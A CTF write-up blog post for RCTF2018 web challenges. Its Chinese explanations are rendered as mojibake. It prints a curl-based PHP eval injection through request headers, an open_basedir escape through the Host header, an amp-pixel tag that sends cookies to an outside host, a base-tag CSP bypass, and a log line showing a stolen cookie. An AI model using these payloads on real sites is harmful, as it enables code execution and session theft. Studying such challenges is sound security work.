LoRexxar's Blog

RCTF2018 Web Writeup

2018/05/23

RCTF鍒氬ソ璧朵笂浜嗗畬鎴愭瘯璁剧殑鏃堕棿锛屾病鍔炴硶鍙帴瑙︿簡閮ㄥ垎棰樼洰锛屽彲鎯滅殑鏄紝鍏朵腑寰堝棰樼洰閮戒笉鏄壒鍒湁鎰忔濓紝杩欓噷鍙暣鐞嗛儴鍒嗘垜鍙備笌鐨..

r-cursive

1
2
3
4
5
LUL dat font
http://r-cursive.ml
hint: If you get stuck after arbitary code execution, try to escape the sandbox. phpinfo may help you figure out how the sandbox works.

铔濂囩殑涓棰橈紝棰樼洰浠g爜鏄繖鏍风殑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$token = sha1($_SERVER['REMOTE_ADDR']);
$dir = '../sandbox/'.$token.'/';
is_dir($dir) ?: mkdir($dir);
is_file($dir.'index.php') ?: file_put_contents($dir.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template')));
switch($_GET['action'] ?: ''){
case 'go':
header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/');
break;
case 'reset':
system('rm -rf '.$dir);
break;
default:
show_source(__FILE__);
}
?>

璁块棶?action=go涔嬪悗锛屾垜浠細鑷姩璺冲埌灞炰簬鑷繁ip鐨勬矙鐩掍腑锛屾墦寮棰樼洰锛屾垜浠氨鑳界湅鍒版簮鐮

1
2
3
<?php
sha1($_SERVER['REMOTE_ADDR']) === 'f6e5575f93a408c5cb709c73eaa822cb09b4d0f7' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

绠鍗曟潵璇村氨鏄繖閲屽彧鑳借皟鐢ㄥ嚱鏁帮紝娌″姙娉曚紶鍏ュ瓧绗︿覆锛岀粫杩囨瘮杈冪畝鍗曘

1
curl "http://xxxx.sandbox.r-cursive.ml:1337/?cmd=eval(next(getallheaders()));" -H "User-Agent: phpinfo();" -H "Accept: asdasd/asdasda"

閫氳繃鑾峰彇headers鐨勬柟寮忥紝鎴戜滑鍙互閫氳繃璁剧疆ua鏉ヤ紶鍏ュ瓧绗︿覆锛屾垚鍔熸墽琛屾垜鎯宠鐨勫懡浠ゃ傝繖閲屾垜浠厛鐪嬬湅phpinfo鐨勫唴瀹广

1
2
3
4
5
6
7
8
disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator
disable_functions
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link
open_basedir
/var/www/sandbox/47933bf3ea6c89fb70bb9c63930d414a4c4a70ae/:/tmp/

鐢变簬鍓嶄袱椤圭殑璁剧疆锛屽鑷村悗闈pen_baseidr瀹屽叏娌″姙娉曠粫杩囷紝浣嗘垜浠彲浠ョ敤glob鍗忚鏉ュ垪涓閮ㄥ垎鐩綍銆

1
if ($dh = opendir('glob:///*/*/*/*')) {while (($file = readdir($dh)) !== false) {echo $file.' ';}closedir($dh);}

缁忚繃涓娈垫椂闂寸殑閿佸畾锛屾垜浠彲浠ュ彂鐜癴lag鍙兘鏄湪/var/www/sandbox/init.php鏂囦欢閲岋紝浣嗛棶棰樺湪浜庯紝鍦ㄧ鐢ㄤ簡杩欎簺鍑芥暟涔嬪悗锛屾垜浠棤娉曠粫杩囪繖閲岀殑闄愬埗銆

鎵浠ユ垜浠彲鑳介渶瑕佹兂鏇村阀濡欏湴鏂规硶鏉ョ粫杩囪繖閲岀殑闄愬埗锛屽浜庝笉鍚岀殑璇锋眰鏉ヨ锛open_basedir閮芥槸涓嶅悓鐨勶紝閭d箞鏈嶅姟绔氨闇瑕佽幏鍙栬姹傜殑鍦板潃锛岀劧鍚庡仛瑙f瀽锛岃繖閮ㄥ垎鐨勯厤缃竴鑸槸鐢盿pache鏉ュ仛鐨勶紝浣嗗鏋滄垜浠姹傜殑host涓笉鍖呭惈杩欎釜sha1鐨勫瓧绗︿覆锛岄偅涔堟槸涓嶆槸鎴戜滑鍙互璁╁悗绔棤娉曡幏鍙栧埌杩欎釜瀛楃涓诧紝灏变細灏open_basedir璁剧疆涓/var/www/sandbox锛屾垜浠氨鍙互璇诲彇杩欎釜鐩綍涓嬬殑鏂囦欢浜嗐

闇瑕佹敞鎰忕殑鏄紝褰撳墠鐩綍涔熶細闅忎箣鏀瑰彉锛岃屽綋鍓嶇洰褰曟槸娌℃湁index.php鐨勶紝鎵浠ユ垜浠渶瑕佸姞涓婄洰褰曘

1
2
3
4
5
ubuntu@VM-181-46-ubuntu:~$ curl "http://47933bf3ea6c89fb70bb9c63930d414a4c4a70ae.sandbox.r-cursive.ml:1337/47933bf3ea6c89fb70bb9c63930val(next(getallheaders()));" -H "User-Agent: show_source('../init.php');" -H "Host: .sandbox.r-cursive.ml"
ini_set("open_basedir", $_SERVER['DOCUMENT_ROOT']."/:/tmp/");
// flag: RCTF{apache_mod_vhost_alias_should_be_configured_correctly}

amp

1
Building the future web, together.

棰樼洰鐗瑰埆绠鍗曪紝椤甸潰鍐呭惈鏈塁SP锛屾瘮杈冩澗浣嗗嵈寮鍚簡nonce CSP锛屽畬鎴愮殑CSP澶村涓

1
script-src 'nonce-88f68fa5b7eb8a01de8b8e63b5fb0a6e' 'strict-dynamic'; style-src 'unsafe-inline'

棰樼洰涓篃寰堟槑鐧斤紝娌℃湁浠讳綍鏍囩杩囨护锛岀劧鍚庨〉闈腑寮曞叆浜唃oogle amp鐨勬鏋讹紝閭d箞鎴戜滑鍙鎵句竴涓猘mp鏂囨。涓殑gadgets锛岀劧鍚庤幏鍙栧綋鍓嶉〉闈ookie灏卞ソ浜嗭紝涓嶇煡閬撴槸涓嶆槸鎴戣娉曚笉瀵光

鍦ㄧ炕闃呮枃妗g殑鏃跺欏彂鐜颁竴涓壒娈婄殑鏍囩

https://www.ampproject.org/docs/analytics/analytics_basics#variable-substitution

杩欎釜鏍囩涓嶄粎浠呬細鍙戦佽姹傦紝杩樻湁璇诲彇cookie鐨勬敮鎸侊紝灏卞儚杩欐牱

1
<amp-pixel src="https://foo.com/pixel?cid=CLIENT_ID(site-user-id-cookie-fallback-name)"></amp-pixel>

鍏朵腑site-user-id-cookie-fallback-name涓篶ookie鐨勫悕瀛楋紝杩欐牱鍙戦佸埌鏈嶅姟绔氨浼氳幏鍙栧埌杩斿洖flag浜嗐

rblog1

1
2
get `document.cookie`
http://rblog.2018.teamrois.cn

杩樼畻鏄竴閬撴瘮杈冪濂囩殑棰樼洰锛屾庝箞璇村憿锛岄鏈熻В鎰熻鑴戞礊鎴愬垎澶у緢澶氾紝闈為鏈熻В铔湁鎰忔濈殑銆

绔欏唴鍔熻兘寰堟櫘閫氾紝涓0ctf涓殑club棰樼洰涓鑷达紝鎻愪氦琛ㄥ崟鍖呮嫭title鍜宑ontent锛屽叾涓璽itle娌℃湁杞箟锛宔ffect鍙帶锛屽嚭鐜扮偣鍦ㄥ紩鍏s鐨勫湴鏂广

椤甸潰涓娇鐢ㄤ簡nonce CSP

1
default-src 'none'; script-src 'nonce-4fad2fa7830a95f09b6e6b3691e37d18'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'

鏈潵鎴戜滑鐨勫叧娉ㄧ偣閮藉湪effect杩欓噷

1
<script nonce="cb34dfb2531ce837c8ecdc0cae067938" src="/assets/js/effects/[you control].min.js"></script>

浣唖cript鏄釜鐗规畩鏍囩锛宻rc鏃犳硶瑕嗙洊锛岃屼笖澶栭摼鏄ぇ浜庡唴鑱攋s锛屾墍浠ユ垜浠篃鏃犳硶鎵цjs锛屽敮涓鐨勫姙娉曟槸閫氳繃涓婁紶鎺ュ彛涓婁紶鏂囦欢锛岀劧鍚庨氳繃璁剧疆effect涓../../../uploads/xxx鏉ュ紩鍏ワ紝鍒欎负鍙帶锛屼絾涓婁紶鎺ュ彛瀵规枃浠舵湁鍒ゆ柇锛屾棤娉曡交鏄揻uzz锛屾墍浠ユ殏鏃舵妸杩欓噷鏀句笅浜嗐

杩欓噷鎴戜滑鐢ㄤ簡闈為鏈熺殑瑙f硶锛宐ase鏍囩

鍦╰itle鎴戜滑寮曞叆鐨勬爣绛炬病鏈夎杞箟锛岃屼笖CSP涓病鏈夎缃産ase鏍囩锛岄偅涔堟垜浠洿鎺ラ氳繃base鏍囩璁剧疆褰撳墠鍩燂紝鍏朵腑鐨勭浉瀵圭洰褰曞氨浼氬紩鍏ユ垜浠兂瑕佺殑js銆

鎷垮埌cookie

1
115.159.200.107 - - [20/May/2018:07:02:09 +0000] "GET /?flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012};%20hint_for_rBlog_Rev.2=http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d HTTP/1.1" 200 2261

CATALOG
  1. 1. r-cursive
  2. 2. amp
  3. 3. rblog1